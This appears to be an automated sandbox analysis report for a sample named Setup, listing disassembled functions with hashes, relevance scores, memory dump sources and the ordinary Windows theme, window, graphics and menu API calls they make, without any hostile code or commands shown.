Opcode ID: cab646643d403c99f47b7feefee0fc8f4ed325e394a1e86032b691e67110aa79
Instruction ID: 0df5444a9d955457841fbf21c208071955a599f9987f6b31c2bc7ccfbe40f8a5
Opcode Fuzzy Hash: cab646643d403c99f47b7feefee0fc8f4ed325e394a1e86032b691e67110aa79
Instruction Fuzzy Hash: D321A473F2053947770CC47E8C52279B6E1C68C501745427AE8A6DA3C1D968D917E2E4

Function 0146D048 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24aa3a6cb73831934677630045a871e1ad401870fc315ec6e812c14189ac0000
Instruction ID: c2c1c4b740f8210e768b9fed7e5a5d4644d471cd241b1c0175a1d00ff704714d
Opcode Fuzzy Hash: 24aa3a6cb73831934677630045a871e1ad401870fc315ec6e812c14189ac0000
Instruction Fuzzy Hash: 32112136A8A7440FC324DBB99CC056B7742EBCA138F19C3ADC9E1577B6DA3445068B84

Function 00CC21C1 Relevance: .1, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 771ebccea91c08a429349aab6c2729aadf734284973cdd5487b6f1d3444c498a
Instruction ID: def43f57795eb66989bdc679a846630c3498ffcca378880620b0aa0b99a682a9
Opcode Fuzzy Hash: 771ebccea91c08a429349aab6c2729aadf734284973cdd5487b6f1d3444c498a
Instruction Fuzzy Hash: BE119423F30C295A375C81698C1327AA2D2DBD825070E533AD826E7284E8A4DE23D290

Function 0146B300 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597248d54222a47cce77f5978f94a8f2f76c03b1caf2f9a92ccf0a96571f3f64
Instruction ID: 76600a0d499cd5a0fdd33b07ac9a9a4459d17304ab5c47010ea104a3f31ce4f3
Opcode Fuzzy Hash: 597248d54222a47cce77f5978f94a8f2f76c03b1caf2f9a92ccf0a96571f3f64
Instruction Fuzzy Hash: 56210775E462408FCB09CF29D8856A9BBA3BBC5315F2DC5B9C456EB32ACB34D9418B40

Function 00CBAF0A Relevance: .0, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b3c050320874c8fbcf96ae567f8a56f02d848aa2a71e8b4537c3cbfd9b2e3d
Instruction ID: 2d5c9d165000373f83b0cf4519196c68be033f3e676c676f9302d0072bbb6673
Opcode Fuzzy Hash: 77b3c050320874c8fbcf96ae567f8a56f02d848aa2a71e8b4537c3cbfd9b2e3d
Instruction Fuzzy Hash: 71E04672925228EB8724DAC8D904AEAF3ECEB09B11F11419AB904D3201C2709E00DBD1

Function 01484948 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f824de4ceb33bc102c93937e26033a78536ed15793e37a81e92073ec26a689c9
Instruction ID: bba7c0f5652fc89498ca5379e35f8b559041da9a597efc7782a4cab725064098
Opcode Fuzzy Hash: f824de4ceb33bc102c93937e26033a78536ed15793e37a81e92073ec26a689c9
Instruction Fuzzy Hash: 6FA00178A482418B8608CF04E5A18B5F3B9AB8FA02F107419A84973652C620ED058A2E

Function 00BB5FC3 Relevance: 66.7, APIs: 19, Strings: 19, Instructions: 195COMMON

Download Yara Rule

APIs

OpenThemeData.UXTHEME(?,WINDOW,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB5FDF
OpenThemeData.UXTHEME(?,TOOLBAR,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB5FFE
OpenThemeData.UXTHEME(?,BUTTON,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB601D
OpenThemeData.UXTHEME(?,STATUS,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB603C
OpenThemeData.UXTHEME(?,REBAR,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB605B
OpenThemeData.UXTHEME(?,COMBOBOX,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB607A
OpenThemeData.UXTHEME(?,PROGRESS,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6099
OpenThemeData.UXTHEME(?,HEADER,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB60B8
OpenThemeData.UXTHEME(?,SCROLLBAR,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB60D7
OpenThemeData.UXTHEME(?,EXPLORERBAR,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB60F6
OpenThemeData.UXTHEME(?,TREEVIEW,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6115
OpenThemeData.UXTHEME(?,STARTPANEL,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6134
OpenThemeData.UXTHEME(?,TASKBAND,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6153
OpenThemeData.UXTHEME(?,TASKBAR,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6172
OpenThemeData.UXTHEME(?,SPIN,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6191
OpenThemeData.UXTHEME(?,TAB,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB61B0
OpenThemeData.UXTHEME(?,TOOLTIP,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB61CF
OpenThemeData.UXTHEME(?,TRACKBAR,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB61EE
OpenThemeData.UXTHEME(00000000,MENU,?,?,00BAE0BD,?,00BAE10C,00000004,00B9BA3F,00000000,00000004,00B9B700), ref: 00BB6209

Strings

MENU, xrefs: 00BB6203
STARTPANEL, xrefs: 00BB612E
TASKBAND, xrefs: 00BB614D
TOOLBAR, xrefs: 00BB5FF8
TASKBAR, xrefs: 00BB616C
SPIN, xrefs: 00BB618B
TREEVIEW, xrefs: 00BB610F
REBAR, xrefs: 00BB6055
BUTTON, xrefs: 00BB6017
PROGRESS, xrefs: 00BB6093
WINDOW, xrefs: 00BB5FD9
TRACKBAR, xrefs: 00BB61E8
HEADER, xrefs: 00BB60B2
TAB, xrefs: 00BB61AA
EXPLORERBAR, xrefs: 00BB60F0
TOOLTIP, xrefs: 00BB61C9
STATUS, xrefs: 00BB6036
SCROLLBAR, xrefs: 00BB60D1
COMBOBOX, xrefs: 00BB6074

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: DataOpenTheme
String ID: BUTTON$COMBOBOX$EXPLORERBAR$HEADER$MENU$PROGRESS$REBAR$SCROLLBAR$SPIN$STARTPANEL$STATUS$TAB$TASKBAND$TASKBAR$TOOLBAR$TOOLTIP$TRACKBAR$TREEVIEW$WINDOW
API String ID: 1744092376-1233129369
Opcode ID: d9a0752b01e11cfd58629786559e726406feb2455a9dfaca72fc191680bda741
Instruction ID: f73290e3eecc2d2be9878854015af80e7aa041b587f242d4f2f3007500e0c88f
Opcode Fuzzy Hash: d9a0752b01e11cfd58629786559e726406feb2455a9dfaca72fc191680bda741
Instruction Fuzzy Hash: 7961DFB4A41792ABCB10ABB99DCAE69B7E4BE1870430005A7F905D7751EBFDD8009B40

Function 00BAD8BD Relevance: 40.8, APIs: 27, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 00B754E4: GetWindowLongW.USER32(?,000000EC), ref: 00B754F1

GetClientRect.USER32(?,00000000), ref: 00BAD92D
CopyRect.USER32(?,?), ref: 00BAD95A

Part of subcall function 00B6CE07: ScreenToClient.USER32(?,?), ref: 00B6CE16
Part of subcall function 00B6CE07: ScreenToClient.USER32(?,?), ref: 00B6CE23

IntersectRect.USER32(?,?,?), ref: 00BAD9A4
SetRectEmpty.USER32(?), ref: 00BAD9B2
IntersectRect.USER32(?,?,?), ref: 00BAD9E4
SetRectEmpty.USER32(?), ref: 00BAD9F2
IsRectEmpty.USER32(?), ref: 00BAD9FC
IsRectEmpty.USER32(?), ref: 00BADA0A
GetWindowRect.USER32(?,?), ref: 00BADA2D
GetWindowRect.USER32(?,?), ref: 00BADA54
UnionRect.USER32(?,?,?), ref: 00BADA72
EqualRect.USER32(?,?), ref: 00BADA80
GetWindowRect.USER32(?,?), ref: 00BADB15
IsRectEmpty.USER32(?), ref: 00BADB79
MapWindowPoints.USER32(?,?,?,00000002), ref: 00BADB98
RedrawWindow.USER32(?,?,00000000,00000185), ref: 00BADBAF
IsRectEmpty.USER32(?), ref: 00BADBC6
EqualRect.USER32(?,?), ref: 00BADBD8
MapWindowPoints.USER32(?,?,?,00000002), ref: 00BADBF7
RedrawWindow.USER32(?,?,00000000,00000185), ref: 00BADC0E
UpdateWindow.USER32(?), ref: 00BADC1D
IsRectEmpty.USER32(?), ref: 00BADC65
InvalidateRect.USER32(?,?,00000001), ref: 00BADC78
IsRectEmpty.USER32(?), ref: 00BADC82
EqualRect.USER32(?,?), ref: 00BADC94
InvalidateRect.USER32(?,?,00000001), ref: 00BADCA7
UpdateWindow.USER32(?), ref: 00BADCB0

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Window$Empty$ClientEqual$IntersectInvalidatePointsRedrawScreenUpdate$CopyLongUnion
String ID:
API String ID: 4119827998-0
Opcode ID: b73fcb71dadae9fd153027fb504880a4536f1d1c43b2e3e5344ab38db10fe3f9
Instruction ID: 2c7098ae17ad0ea75eaf8ccd4d9f52e36ade50cae06d64e95e3b7b98f4994d84
Opcode Fuzzy Hash: b73fcb71dadae9fd153027fb504880a4536f1d1c43b2e3e5344ab38db10fe3f9
Instruction Fuzzy Hash: 83D1F371900259AFCF11DFA4D948BDEBBB9FF09300F1041A6E90AEB251E771AA45CF61

Function 00BE73F3 Relevance: 34.7, APIs: 23, Instructions: 240COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BE73FD
CopyImage.USER32 ref: 00BE7437
GetObjectW.GDI32(?,00000018,?), ref: 00BE7471
DeleteObject.GDI32(?), ref: 00BE74EA
CreateCompatibleDC.GDI32(00000000), ref: 00BE7518
GetObjectW.GDI32(?,00000018,?), ref: 00BE7534
GetObjectW.GDI32(?,00000018,?), ref: 00BE757E
SelectObject.GDI32(?,?), ref: 00BE759D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Object$CompatibleCopyCreateDeleteH_prolog3_ImageSelect
String ID:
API String ID: 3232833411-0
Opcode ID: dd387d6af28b90d3750ac54f93370adbb7cd5aeb06c8da7f64a009d1038698fb
Instruction ID: 5b63c6d43c2bb1d49094d0a44b8740f0aa11a3c6a325f1deea841295e8faf53c
Opcode Fuzzy Hash: dd387d6af28b90d3750ac54f93370adbb7cd5aeb06c8da7f64a009d1038698fb
Instruction Fuzzy Hash: 44A11771A05669EFDB219F65CC49BEDBBB4FF08301F0041D9A50DA2260DB30AE90CFA0

Function 00BD1823 Relevance: 30.5, APIs: 20, Instructions: 490windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BD182D
IsWindow.USER32(?), ref: 00BD18C9
GetMenuItemCount.USER32(?), ref: 00BD1A7A
AppendMenuW.USER32(?,00000000,00000000,?), ref: 00BD1AAE
SendMessageW.USER32(?,0000040C,00000000,00000000), ref: 00BD1B3A
SendMessageW.USER32(000000FF,0000041C,00000000,?), ref: 00BD1B78
GetMenuItemCount.USER32(?), ref: 00BD1BF7
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00BD1C0D
AppendMenuW.USER32(?,00000000,00000000,?), ref: 00BD1C2B
GetMenuItemCount.USER32(?), ref: 00BD1C9A
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00BD1CB0
AppendMenuW.USER32(?,00000000,00000000,?), ref: 00BD1CCA
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00BD1A90

Part of subcall function 00B75443: GetDlgCtrlID.USER32(?), ref: 00B7544E

GetWindow.USER32(?,00000005), ref: 00BD1D4E
AppendMenuW.USER32(?,00000000,00000000,?), ref: 00BD1DBF
GetWindow.USER32(00000000,00000002), ref: 00BD1DEF
AppendMenuW.USER32(?,00000000,00000000,?), ref: 00BD1E70
GetMenuItemCount.USER32(?), ref: 00BD1EB7
AppendMenuW.USER32(?,00000800,00000000,00000000), ref: 00BD1ECD
AppendMenuW.USER32(?,00000000,00000000,?), ref: 00BD1EE4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Menu$Append$CountItem$Window$MessageSend$CtrlH_prolog3_
String ID:
API String ID: 528922254-0
Opcode ID: a824cc2560e7e97b5acf1103460119c20d7028bd2d2180a46330b3458c20acaa
Instruction ID: 6780db81374bbce8bb8b941aec812ba56a5cc9f50efbff7ce3e263b1671f48a4
Opcode Fuzzy Hash: a824cc2560e7e97b5acf1103460119c20d7028bd2d2180a46330b3458c20acaa
Instruction Fuzzy Hash: 13126C74A01615AFDF24AB64DC55BADBBB5EF44310F1480EAE809AB391EF70AE40CF51

Function 00B8A4A5 Relevance: 28.7, APIs: 19, Instructions: 240windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B8A4AC
CreateRectRgnIndirect.GDI32(?), ref: 00B8A4E6
CopyRect.USER32(?,?), ref: 00B8A4FA
InflateRect.USER32(?,?,?), ref: 00B8A510
IntersectRect.USER32(?,?,?), ref: 00B8A51C
CreateRectRgnIndirect.GDI32(?), ref: 00B8A526
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00B8A53B
CombineRgn.GDI32(?,?,?,00000003), ref: 00B8A555
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00B8A5A0
SetRectRgn.GDI32(?,?,?,?,?), ref: 00B8A5BD
CopyRect.USER32(?,?), ref: 00B8A5C8
InflateRect.USER32(?,?,?), ref: 00B8A5DE
IntersectRect.USER32(?,?,?), ref: 00B8A5EA
SetRectRgn.GDI32(?,?,?,?,?), ref: 00B8A5FF
CombineRgn.GDI32(?,?,?,00000003), ref: 00B8A610
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00B8A627
CombineRgn.GDI32(?,?,?,00000003), ref: 00B8A641

Part of subcall function 00B8A806: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 00B8A84D
Part of subcall function 00B8A806: CreatePatternBrush.GDI32(00000000), ref: 00B8A85A
Part of subcall function 00B8A806: DeleteObject.GDI32(00000000), ref: 00B8A866

PatBlt.GDI32(?,?,?,?,?,005A0049), ref: 00B8A69E

Part of subcall function 00B6CF4D: SelectObject.GDI32(?,00000000), ref: 00B6CF71
Part of subcall function 00B6CF4D: SelectObject.GDI32(?,00000000), ref: 00B6CF89

PatBlt.GDI32(?,?,?,?,?,005A0049), ref: 00B8A6FE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Create$CombineObject$CopyIndirectInflateIntersectSelect$BitmapBrushDeleteH_prolog3_Pattern
String ID:
API String ID: 3480991079-0
Opcode ID: dcf1218c124f06aec66b3d4e08921fcd2e05a544b7d6d078f15df269d8f9a46c
Instruction ID: a031aaf5f0aeca7b55e3061cd88c3048d43b1fbfe25843de6caeb89a91c486db
Opcode Fuzzy Hash: dcf1218c124f06aec66b3d4e08921fcd2e05a544b7d6d078f15df269d8f9a46c
Instruction Fuzzy Hash: E991C6B2D01119AFCF05EFA4DD85EEEBBB9FF08300B04455AF906A3251DB35A904CB65

Function 00BAE479 Relevance: 28.6, APIs: 19, Instructions: 80COMMON

Download Yara Rule

APIs

CloseThemeData.UXTHEME(00000000,?,00BAE32D), ref: 00BAE485
CloseThemeData.UXTHEME(00000000,?,00BAE32D), ref: 00BAE494
CloseThemeData.UXTHEME(00000000,?,00BAE32D), ref: 00BAE4A3
CloseThemeData.UXTHEME(00000000,?,?,?,00BAE32D), ref: 00BAE4B2
CloseThemeData.UXTHEME(00000000,?,?,?,00BAE32D), ref: 00BAE4C1
CloseThemeData.UXTHEME(?,?,?,?,00BAE32D), ref: 00BAE4D0
CloseThemeData.UXTHEME(00000000,?,?,?,?,?,00BAE32D), ref: 00BAE4DF
CloseThemeData.UXTHEME(?,?,?,?,?,?,00BAE32D), ref: 00BAE4EE
CloseThemeData.UXTHEME(00000000,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE4FD
CloseThemeData.UXTHEME(?,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE50C
CloseThemeData.UXTHEME(00000000,?,?,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE51B
CloseThemeData.UXTHEME(?,?,?,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE52A
CloseThemeData.UXTHEME(00000000,?,?,?,?,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE539
CloseThemeData.UXTHEME(?,?,?,?,?,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE548
CloseThemeData.UXTHEME(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00BAE32D), ref: 00BAE557
CloseThemeData.UXTHEME(00000000), ref: 00BAE566
CloseThemeData.UXTHEME(00000000), ref: 00BAE575
CloseThemeData.UXTHEME(?), ref: 00BAE584
CloseThemeData.UXTHEME(00000000), ref: 00BAE593

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
